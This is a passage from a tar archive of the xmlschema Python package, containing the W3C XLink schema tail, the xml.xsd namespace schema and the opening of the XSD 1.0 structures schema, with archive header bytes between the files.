</xs:sequence> </xs:group> <xs:complexType mixed="true" name="titleEltType"> <xs:group ref="xlink:titleModel"/> <xs:attributeGroup ref="xlink:titleAttrs"/> </xs:complexType> <xs:element name="resource" type="xlink:resourceType" abstract="true"/> <xs:attributeGroup name="resourceAttrs"> <xs:attribute ref="xlink:type" fixed="resource" use="required"/> <xs:attribute ref="xlink:role"/> <xs:attribute ref="xlink:title"/> <xs:attribute ref="xlink:label"/> </xs:attributeGroup> <xs:group name="resourceModel"> <xs:sequence> <xs:any processContents="lax" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> </xs:group> <xs:complexType mixed="true" name="resourceType"> <xs:group ref="xlink:resourceModel"/> <xs:attributeGroup ref="xlink:resourceAttrs"/> </xs:complexType> <xs:element name="locator" type="xlink:locatorType" abstract="true"/> <xs:attributeGroup name="locatorAttrs"> <xs:attribute ref="xlink:type" fixed="locator" use="required"/> <xs:attribute ref="xlink:href" use="required"/> <xs:attribute ref="xlink:role"/> <xs:attribute ref="xlink:title"/> <xs:attribute ref="xlink:label"> <xs:annotation> <xs:documentation> label is not required, but locators have no particular XLink function if they are not labeled. </xs:documentation> </xs:annotation> </xs:attribute> </xs:attributeGroup> <xs:group name="locatorModel"> <xs:sequence> <xs:element ref="xlink:title" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> </xs:group> <xs:complexType name="locatorType"> <xs:group ref="xlink:locatorModel"/> <xs:attributeGroup ref="xlink:locatorAttrs"/> </xs:complexType> <xs:element name="arc" type="xlink:arcType" abstract="true"/> <xs:attributeGroup name="arcAttrs"> <xs:attribute ref="xlink:type" fixed="arc" use="required"/> <xs:attribute ref="xlink:arcrole"/> <xs:attribute ref="xlink:title"/> <xs:attribute ref="xlink:show"/> <xs:attribute ref="xlink:actuate"/> <xs:attribute ref="xlink:from"/> <xs:attribute ref="xlink:to"> <xs:annotation> <xs:documentation> from and to have default behavior when values are missing </xs:documentation> </xs:annotation> </xs:attribute> </xs:attributeGroup> <xs:group name="arcModel"> <xs:sequence> <xs:element ref="xlink:title" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> </xs:group> <xs:complexType name="arcType"> <xs:group ref="xlink:arcModel"/> <xs:attributeGroup ref="xlink:arcAttrs"/> </xs:complexType> </xs:schema>���������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/schemas/XML/��������������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0017531�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/schemas/XML/xml.xsd�������������������������������������������������������0000664�0000000�0000000�00000021204�15020401055�0021050�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version='1.0'?> <?xml-stylesheet href="../2008/09/xsd.xsl" type="text/xsl"?> <xs:schema targetNamespace="http://www.w3.org/XML/1998/namespace" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns ="http://www.w3.org/1999/xhtml" xml:lang="en"> <xs:annotation> <xs:documentation> <div> <h1>About the XML namespace</h1> <div class="bodytext"> <p> This schema document describes the XML namespace, in a form suitable for import by other schema documents. </p> <p> See <a href="http://www.w3.org/XML/1998/namespace.html"> http://www.w3.org/XML/1998/namespace.html</a> and <a href="http://www.w3.org/TR/REC-xml"> http://www.w3.org/TR/REC-xml</a> for information about this namespace. </p> <p> Note that local names in this namespace are intended to be defined only by the World Wide Web Consortium or its subgroups. The names currently defined in this namespace are listed below. They should not be used with conflicting semantics by any Working Group, specification, or document instance. </p> <p> See further below in this document for more information about <a href="#usage">how to refer to this schema document from your own XSD schema documents</a> and about <a href="#nsversioning">the namespace-versioning policy governing this schema document</a>. </p> </div> </div> </xs:documentation> </xs:annotation> <xs:attribute name="lang"> <xs:annotation> <xs:documentation> <div> <h3>lang (as an attribute name)</h3> <p> denotes an attribute whose value is a language code for the natural language of the content of any element; its value is inherited. This name is reserved by virtue of its definition in the XML specification.</p> </div> <div> <h4>Notes</h4> <p> Attempting to install the relevant ISO 2- and 3-letter codes as the enumerated possible values is probably never going to be a realistic possibility. </p> <p> See BCP 47 at <a href="http://www.rfc-editor.org/rfc/bcp/bcp47.txt"> http://www.rfc-editor.org/rfc/bcp/bcp47.txt</a> and the IANA language subtag registry at <a href="http://www.iana.org/assignments/language-subtag-registry"> http://www.iana.org/assignments/language-subtag-registry</a> for further information. </p> <p> The union allows for the 'un-declaration' of xml:lang with the empty string. </p> </div> </xs:documentation> </xs:annotation> <xs:simpleType> <xs:union memberTypes="xs:language"> <xs:simpleType> <xs:restriction base="xs:string"> <xs:enumeration value=""/> </xs:restriction> </xs:simpleType> </xs:union> </xs:simpleType> </xs:attribute> <xs:attribute name="space"> <xs:annotation> <xs:documentation> <div> <h3>space (as an attribute name)</h3> <p> denotes an attribute whose value is a keyword indicating what whitespace processing discipline is intended for the content of the element; its value is inherited. This name is reserved by virtue of its definition in the XML specification.</p> </div> </xs:documentation> </xs:annotation> <xs:simpleType> <xs:restriction base="xs:NCName"> <xs:enumeration value="default"/> <xs:enumeration value="preserve"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:attribute name="base" type="xs:anyURI"> <xs:annotation> <xs:documentation> <div> <h3>base (as an attribute name)</h3> <p> denotes an attribute whose value provides a URI to be used as the base for interpreting any relative URIs in the scope of the element on which it appears; its value is inherited. This name is reserved by virtue of its definition in the XML Base specification.</p> <p> See <a href="http://www.w3.org/TR/xmlbase/">http://www.w3.org/TR/xmlbase/</a> for information about this attribute. </p> </div> </xs:documentation> </xs:annotation> </xs:attribute> <xs:attribute name="id" type="xs:ID"> <xs:annotation> <xs:documentation> <div> <h3>id (as an attribute name)</h3> <p> denotes an attribute whose value should be interpreted as if declared to be of type ID. This name is reserved by virtue of its definition in the xml:id specification.</p> <p> See <a href="http://www.w3.org/TR/xml-id/">http://www.w3.org/TR/xml-id/</a> for information about this attribute. </p> </div> </xs:documentation> </xs:annotation> </xs:attribute> <xs:attributeGroup name="specialAttrs"> <xs:attribute ref="xml:base"/> <xs:attribute ref="xml:lang"/> <xs:attribute ref="xml:space"/> <xs:attribute ref="xml:id"/> </xs:attributeGroup> <xs:annotation> <xs:documentation> <div> <h3>Father (in any context at all)</h3> <div class="bodytext"> <p> denotes Jon Bosak, the chair of the original XML Working Group. This name is reserved by the following decision of the W3C XML Plenary and XML Coordination groups: </p> <blockquote> <p> In appreciation for his vision, leadership and dedication the W3C XML Plenary on this 10th day of February, 2000, reserves for Jon Bosak in perpetuity the XML name "xml:Father". </p> </blockquote> </div> </div> </xs:documentation> </xs:annotation> <xs:annotation> <xs:documentation> <div xml:id="usage" id="usage"> <h2><a name="usage">About this schema document</a></h2> <div class="bodytext"> <p> This schema defines attributes and an attribute group suitable for use by schemas wishing to allow <code>xml:base</code>, <code>xml:lang</code>, <code>xml:space</code> or <code>xml:id</code> attributes on elements they define. </p> <p> To enable this, such a schema must import this schema for the XML namespace, e.g. as follows: </p> <pre> <schema . . .> . . . <import namespace="http://www.w3.org/XML/1998/namespace" schemaLocation="http://www.w3.org/2001/xml.xsd"/> </pre> <p> or </p> <pre> <import namespace="http://www.w3.org/XML/1998/namespace" schemaLocation="http://www.w3.org/2009/01/xml.xsd"/> </pre> <p> Subsequently, qualified reference to any of the attributes or the group defined below will have the desired effect, e.g. </p> <pre> <type . . .> . . . <attributeGroup ref="xml:specialAttrs"/> </pre> <p> will define a type which will schema-validate an instance element with any of those attributes. </p> </div> </div> </xs:documentation> </xs:annotation> <xs:annotation> <xs:documentation> <div id="nsversioning" xml:id="nsversioning"> <h2><a name="nsversioning">Versioning policy for this schema document</a></h2> <div class="bodytext"> <p> In keeping with the XML Schema WG's standard versioning policy, this schema document will persist at <a href="http://www.w3.org/2009/01/xml.xsd"> http://www.w3.org/2009/01/xml.xsd</a>. </p> <p> At the date of issue it can also be found at <a href="http://www.w3.org/2001/xml.xsd"> http://www.w3.org/2001/xml.xsd</a>. </p> <p> The schema document at that URI may however change in the future, in order to remain compatible with the latest version of XML Schema itself, or with the XML namespace itself. In other words, if the XML Schema or XML namespaces change, the version of this document at <a href="http://www.w3.org/2001/xml.xsd"> http://www.w3.org/2001/xml.xsd </a> will change accordingly; the version at <a href="http://www.w3.org/2009/01/xml.xsd"> http://www.w3.org/2009/01/xml.xsd </a> will not change. </p> <p> Previous dated (and unchanging) versions of this schema document are at: </p> <ul> <li><a href="http://www.w3.org/2009/01/xml.xsd"> http://www.w3.org/2009/01/xml.xsd</a></li> <li><a href="http://www.w3.org/2007/08/xml.xsd"> http://www.w3.org/2007/08/xml.xsd</a></li> <li><a href="http://www.w3.org/2004/10/xml.xsd"> http://www.w3.org/2004/10/xml.xsd</a></li> <li><a href="http://www.w3.org/2001/03/xml.xsd"> http://www.w3.org/2001/03/xml.xsd</a></li> </ul> </div> </div> </xs:documentation> </xs:annotation> </xs:schema> ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/schemas/XSD_1.0/����������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0020105�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/schemas/XSD_1.0/XMLSchema.xsd���������������������������������������������0000664�0000000�0000000�00000253741�15020401055�0022422�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version='1.0' encoding='UTF-8'?> <!-- XML Schema schema for XML Schemas: Part 1: Structures --> <!-- Note this schema is NOT the normative structures schema. --> <!-- The prose copy in the structures REC is the normative --> <!-- version (which shouldn't differ from this one except for --> <!-- this comment and entity expansions, but just in case --> <!DOCTYPE xs:schema PUBLIC "-//W3C//DTD XMLSCHEMA 200102//EN" "XMLSchema.dtd" [ <!-- provide ID type information even for parsers which only read the internal subset --> <!ATTLIST xs:schema id ID #IMPLIED> <!ATTLIST xs:complexType id ID #IMPLIED> <!ATTLIST xs:complexContent id ID #IMPLIED> <!ATTLIST xs:simpleContent id ID #IMPLIED> <!ATTLIST xs:extension id ID #IMPLIED> <!ATTLIST xs:element id ID #IMPLIED> <!ATTLIST xs:group id ID #IMPLIED> <!ATTLIST xs:all id ID #IMPLIED> <!ATTLIST xs:choice id ID #IMPLIED> <!ATTLIST xs:sequence id ID #IMPLIED> <!ATTLIST xs:any id ID #IMPLIED> <!ATTLIST xs:anyAttribute id ID #IMPLIED> <!ATTLIST xs:attribute id ID #IMPLIED> <!ATTLIST xs:attributeGroup id ID #IMPLIED> <!ATTLIST xs:unique id ID #IMPLIED> <!ATTLIST xs:key id ID #IMPLIED> <!ATTLIST xs:keyref id ID #IMPLIED> <!ATTLIST xs:selector id ID #IMPLIED> <!ATTLIST xs:field id ID #IMPLIED> <!ATTLIST xs:include id ID #IMPLIED> <!ATTLIST xs:import id ID #IMPLIED> <!ATTLIST xs:redefine id ID #IMPLIED> <!ATTLIST xs:notation id ID #IMPLIED> <!-- keep this schema XML1.0 DTD valid --> <!-- Commented to make xmlschema compatible with defusedxml.defuse_stdlib() that creates a monkey patched version of xml.etree.ElementTree library with a safe parser. <!ENTITY % schemaAttrs 'xmlns:hfp CDATA #IMPLIED'> <!ELEMENT hfp:hasFacet EMPTY> <!ATTLIST hfp:hasFacet name NMTOKEN #REQUIRED> <!ELEMENT hfp:hasProperty EMPTY> <!ATTLIST hfp:hasProperty name NMTOKEN #REQUIRED value CDATA #REQUIRED> --> <!-- Make sure that processors that do not read the external subset will know about the various IDs we declare --> <!ATTLIST xs:simpleType id ID #IMPLIED> <!ATTLIST xs:maxExclusive id ID #IMPLIED> <!ATTLIST xs:minExclusive id ID #IMPLIED> <!ATTLIST xs:maxInclusive id ID #IMPLIED> <!ATTLIST xs:minInclusive id ID #IMPLIED> <!ATTLIST xs:totalDigits id ID #IMPLIED> <!ATTLIST xs:fractionDigits id ID #IMPLIED> <!ATTLIST xs:length id ID #IMPLIED> <!ATTLIST xs:minLength id ID #IMPLIED> <!ATTLIST xs:maxLength id ID #IMPLIED> <!ATTLIST xs:enumeration id ID #IMPLIED> <!ATTLIST xs:pattern id ID #IMPLIED> <!ATTLIST xs:appinfo id ID #IMPLIED> <!ATTLIST xs:documentation id ID #IMPLIED> <!ATTLIST xs:list id ID #IMPLIED> <!ATTLIST xs:union id ID #IMPLIED> ]> <xs:schema targetNamespace="http://www.w3.org/2001/XMLSchema" blockDefault="#all" elementFormDefault="qualified" version="1.0" xmlns:xs="http://www.w3.org/2001/XMLSchema" xml:lang="EN" xmlns:hfp="http://www.w3.org/2001/XMLSchema-hasFacetAndProperty"> <xs:annotation> <xs:documentation> Part 1 version: Id: structures.xsd,v 1.2 2004/01/15 11:34:25 ht Exp Part 2 version: Id: datatypes.xsd,v 1.3 2004/01/23 18:11:13 ht Exp </xs:documentation> </xs:annotation> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/2004/PER-xmlschema-1-20040318/structures.html"> The schema corresponding to this document is normative, with respect to the syntactic constraints it expresses in the XML Schema language. The documentation (within <documentation> elements) below, is not normative, but rather highlights important aspects of the W3C Recommendation of which this is a part</xs:documentation> </xs:annotation> <xs:annotation> <xs:documentation> The simpleType element and all of its members are defined towards the end of this schema document</xs:documentation> </xs:annotation> <xs:import namespace="http://www.w3.org/XML/1998/namespace" schemaLocation="http://www.w3.org/2001/xml.xsd"> <xs:annotation> <xs:documentation> Get access to the xml: attribute groups for xml:lang as declared on 'schema' and 'documentation' below </xs:documentation> </xs:annotation> </xs:import> <xs:complexType name="openAttrs"> <xs:annotation> <xs:documentation> This type is extended by almost all schema types to allow attributes from other namespaces to be added to user schemas. </xs:documentation> </xs:annotation> <xs:complexContent> <xs:restriction base="xs:anyType"> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="annotated"> <xs:annotation> <xs:documentation> This type is extended by all types which allow annotation other than <schema> itself </xs:documentation> </xs:annotation> <xs:complexContent> <xs:extension base="xs:openAttrs"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> </xs:sequence> <xs:attribute name="id" type="xs:ID"/> </xs:extension> </xs:complexContent> </xs:complexType> <xs:group name="schemaTop"> <xs:annotation> <xs:documentation> This group is for the elements which occur freely at the top level of schemas. All of their types are based on the "annotated" type by extension.</xs:documentation> </xs:annotation> <xs:choice> <xs:group ref="xs:redefinable"/> <xs:element ref="xs:element"/> <xs:element ref="xs:attribute"/> <xs:element ref="xs:notation"/> </xs:choice> </xs:group> <xs:group name="redefinable"> <xs:annotation> <xs:documentation> This group is for the elements which can self-redefine (see <redefine> below).</xs:documentation> </xs:annotation> <xs:choice> <xs:element ref="xs:simpleType"/> <xs:element ref="xs:complexType"/> <xs:element ref="xs:group"/> <xs:element ref="xs:attributeGroup"/> </xs:choice> </xs:group> <xs:simpleType name="formChoice"> <xs:annotation> <xs:documentation> A utility type, not for public use</xs:documentation> </xs:annotation> <xs:restriction base="xs:NMTOKEN"> <xs:enumeration value="qualified"/> <xs:enumeration value="unqualified"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="reducedDerivationControl"> <xs:annotation> <xs:documentation> A utility type, not for public use</xs:documentation> </xs:annotation> <xs:restriction base="xs:derivationControl"> <xs:enumeration value="extension"/> <xs:enumeration value="restriction"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="derivationSet"> <xs:annotation> <xs:documentation> A utility type, not for public use</xs:documentation> <xs:documentation> #all or (possibly empty) subset of {extension, restriction}</xs:documentation> </xs:annotation> <xs:union> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="#all"/> </xs:restriction> </xs:simpleType> <xs:simpleType> <xs:list itemType="xs:reducedDerivationControl"/> </xs:simpleType> </xs:union> </xs:simpleType> <xs:simpleType name="typeDerivationControl"> <xs:annotation> <xs:documentation> A utility type, not for public use</xs:documentation> </xs:annotation> <xs:restriction base="xs:derivationControl"> <xs:enumeration value="extension"/> <xs:enumeration value="restriction"/> <xs:enumeration value="list"/> <xs:enumeration value="union"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="fullDerivationSet"> <xs:annotation> <xs:documentation> A utility type, not for public use</xs:documentation> <xs:documentation> #all or (possibly empty) subset of {extension, restriction, list, union}</xs:documentation> </xs:annotation> <xs:union> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="#all"/> </xs:restriction> </xs:simpleType> <xs:simpleType> <xs:list itemType="xs:typeDerivationControl"/> </xs:simpleType> </xs:union> </xs:simpleType> <xs:element name="schema" id="schema"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-1/#element-schema"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:extension base="xs:openAttrs"> <xs:sequence> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element ref="xs:include"/> <xs:element ref="xs:import"/> <xs:element ref="xs:redefine"/> <xs:element ref="xs:annotation"/> </xs:choice> <xs:sequence minOccurs="0" maxOccurs="unbounded"> <xs:group ref="xs:schemaTop"/> <xs:element ref="xs:annotation" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> </xs:sequence> <xs:attribute name="targetNamespace" type="xs:anyURI"/> <xs:attribute name="version" type="xs:token"/> <xs:attribute name="finalDefault" type="xs:fullDerivationSet" use="optional" default=""/> <xs:attribute name="blockDefault" type="xs:blockSet" use="optional" default=""/> <xs:attribute name="attributeFormDefault" type="xs:formChoice" use="optional" default="unqualified"/> <xs:attribute name="elementFormDefault" type="xs:formChoice" use="optional" default="unqualified"/> <xs:attribute name="id" type="xs:ID"/> <xs:attribute ref="xml:lang"/> </xs:extension> </xs:complexContent> </xs:complexType> <xs:key name="element"> <xs:selector xpath="xs:element"/> <xs:field xpath="@name"/> </xs:key> <xs:key name="attribute"> <xs:selector xpath="xs:attribute"/> <xs:field xpath="@name"/> </xs:key> <xs:key name="type"> <xs:selector xpath="xs:complexType|xs:simpleType"/> <xs:field xpath="@name"/> </xs:key> <xs:key name="group"> <xs:selector xpath="xs:group"/> <xs:field xpath="@name"/> </xs:key> <xs:key name="attributeGroup"> <xs:selector xpath="xs:attributeGroup"/> <xs:field xpath="@name"/> </xs:key> <xs:key name="notation"> <xs:selector xpath="xs:notation"/> <xs:field xpath="@name"/> </xs:key> <xs:key name="identityConstraint"> <xs:selector xpath=".//xs:key|.//xs:unique|.//xs:keyref"/> <xs:field xpath="@name"/> </xs:key> </xs:element> <xs:simpleType name="allNNI"> <xs:annotation><xs:documentation> for maxOccurs</xs:documentation></xs:annotation> <xs:union memberTypes="xs:nonNegativeInteger"> <xs:simpleType> <xs:restriction base="xs:NMTOKEN"> <xs:enumeration value="unbounded"/> </xs:restriction> </xs:simpleType> </xs:union> </xs:simpleType> <xs:attributeGroup name="occurs"> <xs:annotation><xs:documentation> for all particles</xs:documentation></xs:annotation> <xs:attribute name="minOccurs" type="xs:nonNegativeInteger" use="optional" default="1"/> <xs:attribute name="maxOccurs" type="xs:allNNI" use="optional" default="1"/> </xs:attributeGroup> <xs:attributeGroup name="defRef"> <xs:annotation><xs:documentation> for element, group and attributeGroup, which both define and reference</xs:documentation></xs:annotation> <xs:attribute name="name" type="xs:NCName"/> <xs:attribute name="ref" type="xs:QName"/> </xs:attributeGroup> <xs:group name="typeDefParticle"> <xs:annotation> <xs:documentation> 'complexType' uses this</xs:documentation></xs:annotation> <xs:choice> <xs:element name="group" type="xs:groupRef"/> <xs:element ref="xs:all"/> <xs:element ref="xs:choice"/> <xs:element ref="xs:sequence"/> </xs:choice> </xs:group> <xs:group name="nestedParticle"> <xs:choice> <xs:element name="element" type="xs:localElement"/> <xs:element name="group" type="xs:groupRef"/> <xs:element ref="xs:choice"/> <xs:element ref="xs:sequence"/> <xs:element ref="xs:any"/> </xs:choice> </xs:group> <xs:group name="particle"> <xs:choice> <xs:element name="element" type="xs:localElement"/> <xs:element name="group" type="xs:groupRef"/> <xs:element ref="xs:all"/> <xs:element ref="xs:choice"/> <xs:element ref="xs:sequence"/> <xs:element ref="xs:any"/> </xs:choice> </xs:group> <xs:complexType name="attribute"> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:sequence> <xs:element name="simpleType" minOccurs="0" type="xs:localSimpleType"/> </xs:sequence> <xs:attributeGroup ref="xs:defRef"/> <xs:attribute name="type" type="xs:QName"/> <xs:attribute name="use" use="optional" default="optional"> <xs:simpleType> <xs:restriction base="xs:NMTOKEN"> <xs:enumeration value="prohibited"/> <xs:enumeration value="optional"/> <xs:enumeration value="required"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:attribute name="default" type="xs:string"/> <xs:attribute name="fixed" type="xs:string"/> <xs:attribute name="form" type="xs:formChoice"/> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="topLevelAttribute"> <xs:complexContent> <xs:restriction base="xs:attribute"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:element name="simpleType" minOccurs="0" type="xs:localSimpleType"/> </xs:sequence> <xs:attribute name="ref" use="prohibited"/> <xs:attribute name="form" use="prohibited"/> <xs:attribute name="use" use="prohibited"/> <xs:attribute name="name" use="required" type="xs:NCName"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:group name="attrDecls"> <xs:sequence> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element name="attribute" type="xs:attribute"/> <xs:element name="attributeGroup" type="xs:attributeGroupRef"/> </xs:choice> <xs:element ref="xs:anyAttribute" minOccurs="0"/> </xs:sequence> </xs:group> <xs:element name="anyAttribute" type="xs:wildcard" id="anyAttribute"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-1/#element-anyAttribute"/> </xs:annotation> </xs:element> <xs:group name="complexTypeModel"> <xs:choice> <xs:element ref="xs:simpleContent"/> <xs:element ref="xs:complexContent"/> <xs:sequence> <xs:annotation> <xs:documentation> This branch is short for <complexContent> <restriction base="xs:anyType"> ... </restriction> </complexContent></xs:documentation> </xs:annotation> <xs:group ref="xs:typeDefParticle" minOccurs="0"/> <xs:group ref="xs:attrDecls"/> </xs:sequence> </xs:choice> </xs:group> <xs:complexType name="complexType" abstract="true"> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:group ref="xs:complexTypeModel"/> <xs:attribute name="name" type="xs:NCName"> <xs:annotation> <xs:documentation> Will be restricted to required or forbidden</xs:documentation> </xs:annotation> </xs:attribute> <xs:attribute name="mixed" type="xs:boolean" use="optional" default="false"> <xs:annotation> <xs:documentation> Not allowed if simpleContent child is chosen. May be overriden by setting on complexContent child.</xs:documentation> </xs:annotation> </xs:attribute> <xs:attribute name="abstract" type="xs:boolean" use="optional" default="false"/> <xs:attribute name="final" type="xs:derivationSet"/> <xs:attribute name="block" type="xs:derivationSet"/> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="topLevelComplexType"> <xs:complexContent> <xs:restriction base="xs:complexType"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:group ref="xs:complexTypeModel"/> </xs:sequence> <xs:attribute name="name" type="xs:NCName" use="required"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="localComplexType"> <xs:complexContent> <xs:restriction base="xs:complexType"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:group ref="xs:complexTypeModel"/> </xs:sequence> <xs:attribute name="name" use="prohibited"/> <xs:attribute name="abstract" use="prohibited"/> <xs:attribute name="final" use="prohibited"/> <xs:attribute name="block" use="prohibited"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="restrictionType"> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:sequence> <xs:choice minOccurs="0"> <xs:group ref="xs:typeDefParticle"/> <xs:group ref="xs:simpleRestrictionModel"/> </xs:choice> <xs:group ref="xs:attrDecls"/> </xs:sequence> <xs:attribute name="base" type="xs:QName" use="required"/> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="complexRestrictionType"> <xs:complexContent> <xs:restriction base="xs:restrictionType"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:choice minOccurs="0"> <xs:annotation> <xs:documentation>This choice is added simply to make this a valid restriction per the REC</xs:documentation> </xs:annotation> <xs:group ref="xs:typeDefParticle"/> </xs:choice> <xs:group ref="xs:attrDecls"/> </xs:sequence> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="extensionType"> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:sequence> <xs:group ref="xs:typeDefParticle" minOccurs="0"/> <xs:group ref="xs:attrDecls"/> </xs:sequence> <xs:attribute name="base" type="xs:QName" use="required"/> </xs:extension> </xs:complexContent> </xs:complexType> <xs:element name="complexContent" id="complexContent"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-1/#element-complexContent"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:choice> <xs:element name="restriction" type="xs:complexRestrictionType"/> <xs:element name="extension" type="xs:extensionType"/> </xs:choice> <xs:attribute name="mixed" type="xs:boolean"> <xs:annotation> <xs:documentation> Overrides any setting on complexType parent.</xs:documentation> </xs:annotation> </xs:attribute> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:complexType name="simpleRestrictionType"> <xs:complexContent> <xs:restriction base="xs:restrictionType"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:choice minOccurs="0"> <xs:annotation> <xs:documentation>This choice is added simply to make this a valid restriction per the REC</xs:documentation> </xs:annotation> <xs:group ref="xs:simpleRestrictionModel"/> </xs:choice> <xs:group ref="xs:attrDecls"/> </xs:sequence> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="simpleExtensionType"> <xs:complexContent> <xs:restriction base="xs:extensionType"> <xs:sequence> <xs:annotation> <xs:documentation> No typeDefParticle group reference</xs:documentation> </xs:annotation> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:group ref="xs:attrDecls"/> </xs:sequence> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:element name="simpleContent" id="simpleContent"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-1/#element-simpleContent"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:choice> <xs:element name="restriction" type="xs:simpleRestrictionType"/> <xs:element name="extension" type="xs:simpleExtensionType"/> </xs:choice> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="complexType" type="xs:topLevelComplexType" id="complexType"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-1/#element-complexType"/> </xs:annotation> </xs:element> <xs:simpleType name="blockSet"> <xs:annotation> <xs:documentation> A utility type, not for public use</xs:documentation> <xs:documentation> #all or (possibly empty) subset of {substitution, extension, restriction}</xs:documentation> </xs:annotation> <xs:union> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="#all"/> </xs:restriction> </xs:simpleType> <xs:simpleType> <xs:list> <xs:simpleType> <xs:restriction base="xs:derivationControl"> <xs:enumeration value="extension"/> <xs:enumeration value="restriction"/> <xs:enumeration value="substitution"/> </xs:restriction> </xs:simpleType> </xs:list> </xs:simpleType> </xs:union> </xs:simpleType> <xs:complexType name="element" abstract="true"> <xs:annotation> <xs:documentation> The element element can be used either at the top level to define an element-type binding globally, or within a content model to either reference a globally-defined element or type or declare an element-type binding locally. The ref form is not allowed at the top level.</xs:documentation> </xs:annotation> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:sequence> <xs:choice minOccurs="0"> <xs:element name="simpleType" type="xs:localSimpleType"/> <xs:element name="complexType" type="xs:localComplexType"/> </xs:choice> <xs:group ref="xs:identityConstraint" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> <xs:attributeGroup ref="xs:defRef"/> <xs:attribute name="type" type="xs:QName"/> <xs:attribute name="substitutionGroup" type="xs:QName"/> <xs:attributeGroup ref="xs:occurs"/> <xs:attribute name="default" type="xs:string"/> <xs:attribute name="fixed" type="xs:string"/> <xs:attribute name="nillable" type="xs:boolean" use="optional" default="false"/> <xs:attribute name="abstract" type="xs:boolean" use="optional" default="false"/> <xs:attribute name="final" type="xs:derivationSet"/> <xs:attribute name="block" type="xs:blockSet"/> <xs:attribute name="form" type="xs:formChoice"/> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="topLevelElement"> <xs:complexContent> <xs:restriction base="xs:element"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:choice minOccurs="0"> <xs:element name="simpleType" type="xs:localSimpleType"/> <xs:element name="complexType" type="xs:localComplexType"/> </xs:choice> <xs:group ref="xs:identityConstraint" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> <xs:attribute name="ref" use="prohibited"/> <xs:attribute name="form" use="prohibited"/> <xs:attribute name="minOccurs" use="prohibited"/> <xs:attribute name="maxOccurs" use="prohibited"/> <xs:attribute name="name" use="required" type="xs:NCName"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="localElement"> <xs:complexContent> <xs:restriction base="xs:element"> <xs:sequence> <xs:element 